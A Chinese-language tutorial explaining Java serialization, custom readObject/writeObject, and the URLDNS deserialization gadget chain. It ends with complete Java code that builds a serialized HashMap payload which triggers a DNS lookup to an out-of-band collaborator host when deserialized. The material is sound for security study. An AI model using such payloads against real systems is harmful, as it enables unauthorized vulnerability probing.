序列化与反序列化
JAVA序列化是将对象转换成字节编码(与php不同,php是转换成字符串,java是转换成字节序列,在二进制层面)以方便在网络上进行传输或存储处理的一种方式,而反序列化则是将这段字节编码重新转换为对象的逆向操作。
序列化与反序列化的过程
我们直接来看实践的例子,假如我定义了一个Student
类
import java.io.Serializable;
public class Student implements Serializable {
private String name;
private int id;
public Student(String name, int id) {
this.name = name;
this.id = id;
}
@Override
public String toString() {
return this.name + ":" +this.id;
}
}
然后在Seri类中序列化它
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Seri {
public static void main(String[] args) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(new Student("Von",1));
}
}
这段代码中首先创建了一个ObjectOutputStream
对象,ObjectOutputStream
是用来序列化对象为字节流的,它的构造器需要传入一个 OutputStream
对象,它负责向指定的输出流写入序列化后的对象(最常用的是FileOutputStream
,即将对象数据写入文件系统)。
接着调用ObjectOutputStream
的writeObject
方法将对象转换成字节序列写入流中,在这个例子中序列化后的对象被写入了ser.bin中。
最后我们实现一个Unseri类来反序列化这个对象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Unseri {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
Student student = (Student)ois.readObject();
System.out.println(student);
}
}
代码中使用从文件读取的字节流来创建了一个 ObjectInputStream
实例。然后使用该对象的readObject
方法得到一个Object
对象,由于 readObject
方法返回的是 Object
类型,因此需要强制类型转换 (Student)
来得到正确的 Student
类型。
可以看到反序列化的过程其实就相当于序列化的反过程,只是调用的方法有不同而已
注意点
-
需要序列化的对象需实现java.io.Serializable接口:如上面所演示的Student类实现了Serializable接口,其实该接口只是一个标记接口,它不包含任何方法定义,如果一个类实现了
Serializable
接口,这相当于告诉JVM这个类的对象可以被序列化。 -
被transient修饰的属性不会被序列化:transient这个修饰符用于声明一个属性不在序列化的时候所保存,例如假如上面该例子中假如id属性用transient修饰,则在序列化的时候该属性的值并不会被保存到ser.bin中,但是由于类的定义中本身确实存在id这个属性的定义(这个属性并不会丢失),所以反序列化的时候会把transient修饰的属性赋予默认值(如int类型的则赋予0)
-
被static修饰的属性也不会被序列化:序列化的目的是为了保存一个对象的状态,而被static修饰的属性和方法被认为是属于类的(从调用时通常使用类名.属性也可以看出来),并不满足序列化的定义。以一个例子来说明,假如我们修改以上Student类的定义:
import java.io.Serializable; public class Student implements Serializable { private String name; private int id; public static String school = "JYYZ"; public Student(String name, int id) { this.name = name; this.id = id; } @Override public String toString() { return this.name + ":" +this.id + ":" + Student.school; } }
在其他代码不变的基础上Unseri类会输出
Von:1:JYYZ
,之所以还能正常包含JYYZ,是因为在反序列化时会进行类的加载,类的加载会进行静态属性的赋值和静态代码块的执行,因此Student.school可以正常获取而不会是默认值。要更好的理解序列化被static修饰的属性,我们可以修改Seri类:import java.io.IOException; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths; public class Seri { public static void main(String[] args) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin"))); Student stu = new Student("Von",1); Student.school = "JDYZ"; oos.writeObject(stu); } }
此时修改后执行Unseri时并不会输出JDYZ,因为类变量的值并没有被保存到序列化文件中,在重构对象时只会进行默认的类加载和初始化获得默认值JYYZ
重写writeObject和readObject
Java反序列化的一大特点就是我们可以重写writeObject和readObject实现完全控制反序列化的流程,方法定义分别为:
private void writeObject(ObjectOutputStream out) throws IOException
private void readObject(ObjectInputStream inputStream)
我们重新定义了Student类:
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Student implements Serializable {
private String name;
private int id;
public static String school = "JYYZ";
public Student(String name, int id) {
this.name = name;
this.id = id;
}
@Override
public String toString() {
return this.name + ":" +this.id + ":" + Student.school;
}
private void writeObject(ObjectOutputStream outputStream) throws IOException {
outputStream.defaultWriteObject();
outputStream.writeObject("Hello World!");
outputStream.writeInt(123);
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
String s = (String) inputStream.readObject();
int num = inputStream.readInt();
System.out.println(s);
System.out.println(num);
}
}
在代码中我们重新定义了writeObject的逻辑,在执行正常的defaultWriteObject()
写入序列化对象后,再往ObjectOutputStream中依次写入了一个字符串和一个整数,而readObject则是相反的过程,先执行defaultReadObject再按顺序解码出字符串和整数。
而序列化和反序列化时会优先执行要序列化的类的writeObject方法和readObject方法,如果该类没有实现这两个方法才会去调用ObjectInputStream类的默认方法,由此,我们可以完全自定义序列化时写入和读取的内容。
使用SerializationDumper查看序列化的内容
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 11 - 0x00 0b
Value - Ser.Student - 0x5365722e53747564656e74
serialVersionUID - 0xf6 9c 18 0b ee 29 02 4b
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 2 - 0x00 02
Value - id - 0x6964
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 02
classdata
Ser.Student
values
id
(int)1 - 0x00 00 00 01
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 3 - 0x00 03
Value - Von - 0x566f6e
objectAnnotation
TC_STRING - 0x74
newHandle 0x00 7e 00 04
Length - 12 - 0x00 0c
Value - Hello World! - 0x48656c6c6f20576f726c6421
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x0000007b
TC_ENDBLOCKDATA - 0x78
可见,我们额外写入的字符串和整数被写入了objectAnnotation部分。
与PHP的反序列化问题不同,PHP序列化时序列化的逻辑我们是无法控制的,我们通常是通过控制其属性来实现恶意操作的。而Java则不同,通过重写writeObject和readObject,我们可以完全自定义反序列化时会生成的数据以及解析的逻辑,实现了更广的攻击面(最简单的例子便是:由于类中readObject的内容在反序列化时一定会被执行,在readObject中写入恶意代码便可使其在反序列化时一定被执行)。
URLDNS分析
URLDNS这条链是最基本的java反序列化,从这条链中可以学习最基本的反序列化漏洞挖掘流程,以挖掘者的角度来说,首先注意到了URL类(java.net.URL)的hashCode()
执行了DNS查询:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
当URL类的hashCode属性不为-1时(hashCode的初始定义为private int hashCode = -1;
),会执行handler.hashCode(this);
,其中handler为URLStreamHandler类,其hashCode方法定义为:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
其中的getHostAddress(u);
会执行DNS查询得到host的地址
由此,我们需要往上找到某个类的某个方法会计算URL对象的hashCode,这样便能将我们的链条联系起来了。这里想到的是HashMap类,HashMap类似于python中的字典,以键-值对的形式组织,同时以hashCode来区分不同的key,同时HashMap类还实现了自己的readObject方法,这使得其有被利用的潜质,我们看下HashMap的readObject方法
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
这里其他部分不用关注,只需要关注最后一部分,对每个key都执行了putVal(hash(key), key, value, false, false);
我们跟入查看hash(key)的实现
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
可以看到当key不为null时便会调用key的hashCode()方法,也就与我们前面所提到的呼应起来,完成了链条的打通,具体利用链为
HashMap.readObject() --> HashMap.putVal() --> HashMap.hash() --> URL.hashCode() -->URLStreamHandler.hashCode().getHostAddress
但是,我们理所当然构造出的如下Payload却是错的(或者说不完善的):
HashMap<URL, Integer> urlIntegerHashMap = new HashMap<URL, Integer>();
URL url = new URL("http://p3tgvj6i7kexd1qiixiuc4ix5obhz6.oastify.com");
urlIntegerHashMap.put(url,1);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(urlIntegerHashMap);
其中存在的问题在于HashMap的put方法:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
put方法中已经提前执行了一次putVal,这会对hashCode()的执行造成影响:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
在执行put函数之前,hashCode属性为-1,会执行handler.hashCode(this)
进而执行getHostAddress发起DNS请求,这导致在未进行反序列化时就已经发起了DNS请求,导致我们无从分辨收到的DNS请求是反序列化发出的还是单纯put时发出的,这是第一个影响。
第二个影响是当执行put请求后,由于执行了handler.hashCode(this)
,导致hashCode的值已经不为-1了,所以序列化保存的对象其实hashCode本身已经不是-1了,反序列化时也压根到不了执行handler.hashCode(this)
这一步,所以目前的Payload其实是不会发起DNS请求的。
为了解决这个问题,我们就需要实现两个目标,第一,在put之前让url对象的hashCode不为-1,这样在put时便会直接返回hashCode而不会执行handler.hashCode(this)
,在put之后将url对象的hashCode改为-1,这样才能执行handler.hashCode(this)
,这是两个相反的过程,我们借助反射来实现这一目标:
HashMap<URL, Integer> urlIntegerHashMap = new HashMap<URL, Integer>();
URL url = new URL("http://p3tgvj6i7kexd1qiixiuc4ix5obhz6.oastify.com");
Class<URL> urlClass = URL.class;
Field hashCode = urlClass.getDeclaredField("hashCode"); //hashCode是private修饰要用getDeclaredField
hashCode.setAccessible(true); //因为是private
hashCode.set(url,10);
urlIntegerHashMap.put(url,1);
hashCode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(urlIntegerHashMap);
这样我们就实现了在put时不发起请求而只在反序列化时触发请求的目的,完整代码为:
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Seri {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> urlIntegerHashMap = new HashMap<URL, Integer>();
URL url = new URL("http://p3tgvj6i7kexd1qiixiuc4ix5obhz6.oastify.com");
Class<URL> urlClass = URL.class;
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,10);
urlIntegerHashMap.put(url,1);
hashCode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(urlIntegerHashMap);
}
}
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Unseri {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
Object obj = ois.readObject();
System.out.println(obj);
}
}